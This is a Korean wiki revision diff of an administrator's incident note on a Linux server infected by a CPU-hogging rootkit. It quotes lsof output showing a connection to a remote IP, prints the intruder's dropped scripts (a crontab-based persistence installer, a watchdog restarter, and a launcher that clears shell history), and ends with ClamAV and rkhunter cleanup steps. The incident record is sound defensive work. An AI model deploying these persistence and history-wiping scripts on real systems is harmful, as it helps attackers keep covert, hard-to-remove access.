문서의 선택한 두 판 사이의 차이를 보여줍니다.
secu002 [2015/02/03 11:30] minetech |
secu002 [2015/02/09 11:02] (현재) minetech |
||
---|---|---|---|
줄 5: | 줄 5: | ||
갑자기 서버가 늦어져서 top 을 통해 본 결과 이상한 프로세스가 cpu 사용을 99% 하고 있었다. | 갑자기 서버가 늦어져서 top 을 통해 본 결과 이상한 프로세스가 cpu 사용을 99% 하고 있었다. | ||
해당 프로세스 id를 이용하여 확인해 보면 다음과 같은 것들을 보인다. | 해당 프로세스 id를 이용하여 확인해 보면 다음과 같은 것들을 보인다. | ||
+ | |||
<file> | <file> | ||
[root@localhost ~]# lsof -p 32656 | [root@localhost ~]# lsof -p 32656 | ||
줄 24: | 줄 25: | ||
* 저 IP는 프로세스를 kill 하게 되면 다른 프로세스로 살아나면서 다른 IP로 변경하여 접속하게 된다. | * 저 IP는 프로세스를 kill 하게 되면 다른 프로세스로 살아나면서 다른 IP로 변경하여 접속하게 된다. | ||
* 나의 경우는 오라클이 설치되어 있었기때문에 위에서는 안보이지만 오라클 프로세스도 관련이 있는 것으로 나타난다. | * 나의 경우는 오라클이 설치되어 있었기때문에 위에서는 안보이지만 오라클 프로세스도 관련이 있는 것으로 나타난다. | ||
+ | * 저기 보이는 IP는 추적을 해보면 추적이 안되는 경우도 나온다. | ||
- | 이상한 프로세스는 /boot 또는 /usr/bin 경로에 위치하게 된다.(특별히 정해지지 않는 듯) | + | 이상한 프로세스의 파일 위치는 /boot 또는 /usr/bin 경로에 위치하게 된다.(특별히 정해지지 않는 듯) |
<file> | <file> | ||
줄 110: | 줄 112: | ||
ifconfig | ifconfig | ||
exit | exit | ||
+ | </file> | ||
+ | |||
+ | |||
+ | Bad file list | ||
+ | <file> | ||
+ | [root@ ??]# ls -al | ||
+ | 합계 1616 | ||
+ | drwxr-xr-x 3 oracle dba 4096 2월 6 11:24 . | ||
+ | drwxr-x--- 29 root root 4096 2월 5 16:55 .. | ||
+ | -rwxr-xr-x 1 oracle dba 270 1월 30 13:23 1.user | ||
+ | -rw-r--r-- 1 oracle dba 955701 9월 25 2013 Cimmer.seen | ||
+ | -rw-r--r-- 1 oracle dba 0 1월 30 13:23 Enid.seen | ||
+ | -rwxr-xr-x 1 oracle dba 34 1월 29 21:08 LinkEvents | ||
+ | -rwxr-xr-x 1 oracle dba 323 10월 13 2001 autorun | ||
+ | -rwxr-xr-x 1 oracle dba 492135 3월 3 2005 bash | ||
+ | -rw-r--r-- 1 oracle dba 91385 2월 20 2013 br2.seen | ||
+ | -rwxr-xr-x 1 oracle dba 67 3월 31 2005 cron | ||
+ | -rw-r--r-- 1 oracle dba 47 12월 14 2012 cron.d | ||
+ | -rw-r--r-- 1 oracle dba 11 12월 14 2012 m.dir | ||
+ | -rwxr-xr-x 1 oracle dba 22882 5월 15 2003 m.help | ||
+ | -rwxr-xr-x 1 oracle dba 1043 1월 30 13:23 m.lev | ||
+ | -rw------- 1 oracle dba 5 1월 29 21:08 m.pid | ||
+ | -rw-r--r-- 1 oracle dba 967 1월 30 13:23 m.ses | ||
+ | -rwxr-xr-x 1 oracle dba 1155 11월 24 2012 m.set | ||
+ | drwxr-xr-x 2 oracle dba 4096 2월 6 11:23 r | ||
+ | -rwxr-xr-x 1 oracle dba 44 10월 13 2001 run | ||
+ | -rw-r--r-- 1 oracle dba 45 7월 16 2010 shel | ||
+ | -rwxr--r-- 1 oracle dba 160 12월 14 2012 y2kupdate | ||
+ | |||
+ | </file> | ||
+ | |||
+ | File Name : m.set | ||
+ | |||
+ | <file> | ||
+ | #!/bin/sh | ||
+ | if test -r /oracle/.z/m.pid; then | ||
+ | pid=$(cat /oracle/.z/m.pid) | ||
+ | if $(kill -CHLD $pid >/dev/null 2>&1) | ||
+ | then | ||
+ | exit 0 | ||
+ | fi | ||
+ | fi | ||
+ | cd /oracle/.z | ||
+ | ./run &>/dev/null | ||
+ | </file> | ||
+ | |||
+ | File Name : run | ||
+ | <file> | ||
+ | #!/bin/sh | ||
+ | export PATH=:PATH | ||
+ | bash | ||
+ | history -c | ||
+ | </file> | ||
+ | |||
+ | File Name : autorun | ||
+ | <file> | ||
+ | #!/bin/sh | ||
+ | pwd > m.dir | ||
+ | dir=$(cat m.dir) | ||
+ | echo "* * * * * $dir/y2kupdate >/dev/null 2>&1" > cron.d | ||
+ | crontab cron.d | ||
+ | crontab -l | grep y2kupdate | ||
+ | echo "#!/bin/sh | ||
+ | if test -r $dir/m.pid; then | ||
+ | pid=\$(cat $dir/m.pid) | ||
+ | if \$(kill -CHLD \$pid >/dev/null 2>&1) | ||
+ | then | ||
+ | exit 0 | ||
+ | fi | ||
+ | fi | ||
+ | cd $dir | ||
+ | ./run &>/dev/null" > y2kupdate | ||
+ | chmod u+x y2kupdate | ||
+ | |||
+ | </file> | ||
+ | |||
+ | File Name : y2kupdate | ||
+ | <file> | ||
+ | #!/bin/sh | ||
+ | if test -r /oracle/.z/m.pid; then | ||
+ | pid=$(cat /oracle/.z/m.pid) | ||
+ | if $(kill -CHLD $pid >/dev/null 2>&1) | ||
+ | then | ||
+ | exit 0 | ||
+ | fi | ||
+ | fi | ||
+ | cd /oracle/.z | ||
+ | ./run &>/dev/null | ||
+ | |||
+ | </file> | ||
+ | |||
+ | File Name : cron.d | ||
+ | <file> | ||
+ | * * * * * /oracle/.z/y2kupdate >/dev/null 2>&1 | ||
</file> | </file> | ||
줄 169: | 줄 265: | ||
==== [조치 내역] ==== | ==== [조치 내역] ==== | ||
+ | |||
+ | * ClamAV 설치 | ||
+ | |||
+ | <file> | ||
+ | 4.1 ClamAV 설치 | ||
+ | [root@egovWas2 ~]# yum install clamav clamd | ||
+ | |||
+ | 4.2 ClamAV 바이러서 데이터베이스 업데이트 | ||
+ | [root@egovWas2 ~]# freshclam | ||
+ | |||
+ | 4.3 검사 | ||
+ | |||
+ | - home 디렉토리와 그 하위 디렉토리를 검사 | ||
+ | [root@egovWas2 ~]# clamscan -r /home | ||
+ | |||
+ | - clamscan 결과를 로그 파일로 남기고 싶으면 | ||
+ | [root@egovWas2 ~]# clamscan -r /home -l clamscan.log | ||
+ | |||
+ | [root@egovWas2 ~]# 감염된 파일을 특정 디렉토리로 이동하려면 | ||
+ | [root@egovWas2 ~]# clamscan -r /home --move=DIRECTORY | ||
+ | </file> | ||
+ | |||
+ | |||
+ | * RootKit Hunter 설치 및 매일 실행하는 cron 등록 | ||
+ | <file> | ||
+ | |||
+ | 5.1 rkhunter 설치 | ||
+ | [root@egovWas2 ~]# yum list | grep rkhunter | ||
+ | |||
+ | [root@egovWas2 ~]# yum install rkhunter | ||
+ | |||
+ | 5.2 Update rkhunter | ||
+ | To check the currently installed version enter the following | ||
+ | [root@egovWas2 ~]# /usr/local/bin/rkhunter --versioncheck | ||
+ | |||
+ | Run the updater by issuing the following command: | ||
+ | [root@egovWas2 ~]# /usr/local/bin/rkhunter --update | ||
+ | |||
+ | With our database files refreshed, we need to tell rkhunter to check the current values and store them as known-good values: | ||
+ | [root@egovWas2 ~]# /usr/local/bin/rkhunter --propupd | ||
+ | |||
+ | 5.3 Manual Scan | ||
+ | Step 1] 시작하기 전에 rkhunter 가 사용할 DB를 생성 | ||
+ | |||
+ | [root@egovWas2 ~]# rkhunter --propupd | ||
+ | |||
+ | Step 2] 실행명령어 | ||
+ | [root@egovWas2 ~]# rkhunter --check | ||
+ | 또는 | ||
+ | [root@egovWas2 ~]# rkhunter -c --rwo // warning메세지,비정상적인 결과만 출력 | ||
+ | |||
+ | 5.4 Automate Rootkit Hunter | ||
+ | |||
+ | [root@egovWas2 ~]# touch /etc/cron.daily/rkhunter.sh | ||
+ | [root@egovWas2 ~]# chmod 755 /etc/cron.daily/rkhunter.sh | ||
+ | [root@egovWas2 ~]# vi /etc/cron.daily/rkhunter.sh | ||
+ | |||
+ | #!/bin/sh | ||
+ | ( | ||
+ | /usr/local/bin/rkhunter --versioncheck | ||
+ | /usr/local/bin/rkhunter --update | ||
+ | /usr/local/bin/rkhunter --cronjob --report-warnings-only | ||
+ | ) | /bin/mail -s 'rkhunter Daily Scan Report (PutYourServerNameHere)' your@email.here | ||
+ | |||
+ | </file> | ||
rootkit 감염된 파일을 살펴보면 등록되지 않은 사용자와 그룹으로 만들어져 있고 해당 파일들의 속성이 변경되어 삭제할 수 없게 되어있다. 따라서 그 속성을 먼저 변경해 줘야 한다. | rootkit 감염된 파일을 살펴보면 등록되지 않은 사용자와 그룹으로 만들어져 있고 해당 파일들의 속성이 변경되어 삭제할 수 없게 되어있다. 따라서 그 속성을 먼저 변경해 줘야 한다. | ||
줄 321: | 줄 482: | ||
</file> | </file> | ||
- | 바이러스로 떠있는 프로세스를 lsof 로 확인해 보면 다음과 같다. | ||
- | 그런데 저기 보이는 IP는 추적을 해보면 "162.212.180.202" 없는 아이피로 나온다. | ||
- | |||
- | <file> | ||
- | [root@localhost boot]# lsof -p 9521 | ||
- | COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME | ||
- | nofdfdqrm 9521 root cwd DIR 253,0 4096 33947649 /bin | ||
- | nofdfdqrm 9521 root rtd DIR 253,0 4096 2 / | ||
- | nofdfdqrm 9521 root txt REG 253,0 617640 9538775 /usr/bin/nofdfdqrmq | ||
- | nofdfdqrm 9521 root 0u CHR 1,3 0t0 2946 /dev/null | ||
- | nofdfdqrm 9521 root 1u CHR 1,3 0t0 2946 /dev/null | ||
- | nofdfdqrm 9521 root 2u CHR 1,3 0t0 2946 /dev/null | ||
- | nofdfdqrm 9521 root 3u IPv4 2661293 0t0 TCP localhost.localdomain:33811->162.212.180.202:ka0wuc (ESTABLISHED) | ||
- | nofdfdqrm 9521 root 4r DIR 0,3 0 1 /proc | ||
- | nofdfdqrm 9521 root 5r REG 253,0 219753362 32216578 /xxx/kkk/vv.2.0/bin/oracle | ||
- | nofdfdqrm 9521 root 6u raw 0t0 2835079 00000000:00FF->00000000:0000 st=07 | ||
- | nofdfdqrm 9521 root 7u raw 0t0 2835080 00000000:00FF->00000000:0000 st=07 | ||
- | nofdfdqrm 9521 root 8u raw 0t0 2835081 00000000:00FF->00000000:0000 st=07 | ||
- | nofdfdqrm 9521 root 9u raw 0t0 2835082 00000000:00FF->00000000:0000 st=07 | ||
- | [root@localhost boot]# | ||
- | </file> |